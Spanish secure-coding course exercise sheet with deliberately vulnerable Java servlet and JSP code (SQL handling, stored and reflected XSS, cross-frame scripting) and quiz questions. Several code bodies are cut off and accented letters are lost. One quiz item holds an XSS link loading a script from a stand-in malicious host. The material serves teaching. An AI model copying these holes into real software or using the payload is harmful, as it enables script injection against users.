Documente Academic
Documente Profesional
Documente Cultură
UNIDAD 2.
OBJETIVO.
ENUNCIADO.
Ejercicio 1
import java.io.*;
import java.lang.*;
public class Main {
public static void main(String[] args) {
try {
System.out.println("Por favor, introduzca su nombre:");
InputStreamReader isr = new InputStreamReader(System.in);
BufferedReader br = new BufferedReader(isr);
String buf = br.readLine();
}
}
Notas:
Ejercicio 2
Detectas alguna vulnerabilidad en el siguiente programa? En caso de ser as,
demustralo y propn una solucin. Para la solucin propuesta, demuestra que
con el mismo ataque anterior, el programa ya no presenta la vulnerabilidad.
Para acceder a este servlet, la URL de llamada es:
http://IP:8080/Practica2Ejer2/login.html
Cdigo login.html
Cdigo Ejercicio2.java
package com.s21sec.cursoASA;
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.Statement;
import java.sql.DriverManager;
Notas:
Nos deja el Ejercicio2.class en la misma ruta que el .java. Hay que copiar
este .class en /usr/local/apache-tomcat-7.0.33/webapps/Practica2Ejer2/WEB-
INF/classes/com/s21sec/cursoASA
Ejercicio 3.
Detectas alguna vulnerabilidad en el siguiente programa? En caso de ser as,
demustralo y propn una solucin. Para la solucin propuesta, demuestra que
con el mismo ataque anterior, el programa ya no presenta la vulnerabilidad.
ejercicio.jsp
<%@page import="java.io.*"%>
<%@page import="java.lang.*"%>
<%
String comentarios = null;
if (request.getParameter("comments") != null &&
request.getParameter("comments").length() > 0) {
comentarios = request.getParameter("comments");
}
fis.close();
bis.close();
dis.close();
out.print(allComments);
}
catch (Exception e) {e.printStackTrace();}
}
else {%>
<html>
<body>
<form action="ejercicio.jsp" method="GET">
Comments: <input type="text" name="comments"><br>
<input type="submit" value="Comment on Guestbook">
</form>
</body>
</html>
<%}%>
Notas:
El cdigo se encuentra en
/usr/local/apache-tomcat-7.0.33/webapps/Practica2Ejer3
Ejercicio 4
formulario.html
<HTML>
<BODY>
<BR>
<FORM METHOD="get" ACTION="xss.jsp">
<INPUT TYPE="text" NAME="vuln"/>
<BR/><BR/>
<INPUT TYPE="submit" VALUE="enviar"/>
</FORM>
</BODY>
</HTML>
xss.jsp
<html>
<head><title>ejercicio8</title></head>
<body>
<% String variable = request.getParameter("vuln");%>
Has escrito: <input type="text" value="<% out.print(variable);%>"/>
</body>
</html>
Notas:
el cdigo se encuentra disponible en /usr/local/apache-tomcat-
7.0.33/webapps/Practica2Ejer4
Ejercicio 5
Supongamos que queremos que nuestra aplicacin slo pueda acceder a las
webs que muestra la pgina navigation.htm
Consideras que esta aplicacin lo cumple? Es esta aplicacin sensible a un
ataque cross-frame-scripting? En caso de que as lo sea, propn una solucin
para que la aplicacin haga lo que se requiere.
XFSIndex.jsp
<html>
<head><title>Welcome to my site</title></head>
<frameset rows="*" cols="150,*" frameborder="no" border="0">
<frame src="navigation.htm" name="navigation" frameborder="yes"
scrolling="no" bordercolor="#0000CC" id="navigation"/>
<frameset rows="500,*" cols="*" frameborder="no">
<frame src="<% if (request.getParameter("iframe") != null)
out.print(request.getParameter("iframe"));
else out.print("noacceso.htm");%>" name="corps"
id="corps"/>
<noframes>No frames</noframes>
</frameset>
</frameset>
</html>
navigation.htm
<html>
<head>
<meta http-equiv="Content-Type" content="text/html";charset="utf-8"/>
<title>Menu</title>
</head>
<body bgcolor="#CCCCCC">
<pre> </pre>
<ul>
<li>
<a href="XFSIndex.jsp?iframe=http://www.google.com"
target="_parent">google</a>
</li>
<li>
<a href="XFSIndex.jsp?iframe=http://www.elmundo.es"
target="_parent">el mundo</a>
</li>
</ul>
<p> </p>
</body>
</html>
noacceso.htm
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Acceso</title>
</head>
<body bgcolor="#FFCC66">
<h1>El acceso a esta web no esta permitido</h1>
</body>
</html>
Nota
el cdigo se encuentra disponible en /usr/local/apache-tomcat-
7.0.33/webapps/Practica2Ejer5
Ejercicio 6
Indicar junto con una explicacin la opcin correcta en las siguientes preguntas
3. Qu sucede cuando una aplicacin toma los datos introducidos por un usuario
y los enva al navegador web sin realizar una correcta validacin y escapado
de los datos?
A. Configuracin incorrecta de seguridad
B. XSS
C. CSRF
D. Referencia indirecta a objetos
8. Se trata de un ataque que aprovecha que la pgina web muestra los datos de
usuario sin antes validarlos.
<a
href=http://pagina.com/index.html?id=%3Cscript%20src=%22http://paginamaligna.com
/badscript.js%22%3E%3C/script%3E>Mira este enlace, muy interesante</a>
A qu ataque nos referimos?
A. Cross Site Scripting
B. SQL Injection
C. Http Response Split
D. Desbordamiento de buffer
10. En un ataque XSS tpico, el atacante infecta una pgina web legtima con
cdigo malicioso. Cuando un usuario visita esta pgina, el cdigo se descarga
y se ejecuta en el navegador del usuario
A. Verdadero
B. Falso
SPAIN MEXICO BRAZIL UK USA